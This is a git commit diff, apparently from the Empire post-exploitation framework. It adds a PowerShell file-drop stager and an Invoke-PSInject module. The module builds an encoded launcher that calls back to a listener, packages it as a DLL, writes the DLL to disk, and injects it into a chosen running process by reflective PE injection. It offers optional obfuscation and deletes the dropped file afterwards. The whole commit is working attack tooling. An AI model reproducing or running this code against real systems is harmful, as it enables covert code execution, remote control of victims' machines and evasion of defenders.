added generate upload function and example code
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a6acedec26
commit
930bc09be2
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@ -459,3 +459,18 @@ class Stagers:
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os.remove('Run.jar')
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return jar
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def generate_upload(self, file, path):
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script = """
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$b64 = "BASE64_BLOB_GOES_HERE"
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$filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE"
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[IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64))
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"""
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file_encoded = base64.b64encode(file)
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script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded)
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script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)
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return script
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@ -0,0 +1,158 @@
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from lib.common import helpers
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import base64
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-PSInject',
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'Author': ['@harmj0y', '@sixdub', 'leechristensen (@tifkin_)', 'james fitts'],
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'Description': ("Utilizes Powershell to to inject a Stephen Fewer "
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"formed ReflectivePick which executes PS code"
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"from memory in a remote process"),
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'Background' : True,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : False,
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'Language' : 'powershell',
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'MinLanguageVersion' : '2',
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'Comments': [
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'http://sixdub.net'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'UploadPath' : {
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'Description' : 'Path to drop dll (C:\Users\Administrator\Desktop).',
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'Required' : False,
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'Value' : ''
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},
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'ProcName' : {
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'Description' : 'Process name to inject into. (I.E calc, chrome, powershell)',
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'Required' : False,
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'Value' : ''
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},
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'Listener' : {
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'Description' : 'Listener to use.',
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'Required' : True,
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'Value' : ''
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Arch' : {
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'Description' : 'Architecture of the .dll to generate (x64 or x86).',
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'Required' : False,
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'Value' : 'x64'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self, obfuscate=False, obfuscationCommand=""):
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def rand_text_alphanumeric(size=15, chars=string.ascii_uppercase + string.digits):
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return ''.join(random.choice(chars) for _ in range(size))
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fname = rand_text_alphanumeric() + ".dll"
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listenerName = self.options['Listener']['Value']
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procName = self.options['ProcName']['Value'].strip()
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uploadPath = self.options['UploadPath']['Value'].strip()
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arch = self.options['Arch']['Value'].strip()
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fullUploadPath = uploadPath + "\\" + fname
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if procName == '':
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print helpers.color("[!] ProcName must be specified.")
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return ''
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# staging options
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/management/Invoke-ReflectivePEInjection.ps1"
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if obfuscate:
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helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
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moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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scriptEnd = ""
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if not self.mainMenu.listeners.is_listener_valid(listenerName):
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# not a valid listener, return nothing for the script
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print helpers.color("[!] Invalid listener: %s" %(listenerName))
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return ''
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else:
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# generate the PowerShell one-liner with all of the proper options set
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
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if launcher == '':
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print helpers.color('[!] Error in launcher generation.')
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return ''
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else:
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launcherCode = launcher.split(' ')[-1]
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scriptEnd += "Invoke-ReflectivePEInjection -PEPath %s -ProcName %s " % (fullUploadPath, procName)
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dll = self.mainMenu.stagers.generate_dll(launcherCode, arch)
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UploadScript = self.mainMenu.stagers.generate_upload(dll, fullUploadPath)
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if obfuscate:
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scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
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script += "\r\n"
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script += UploadScript
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script += "\r\n"
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script += scriptEnd
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script += "\r\n"
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script += "Remove-Item -Path %s" % fullUploadPath
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return script
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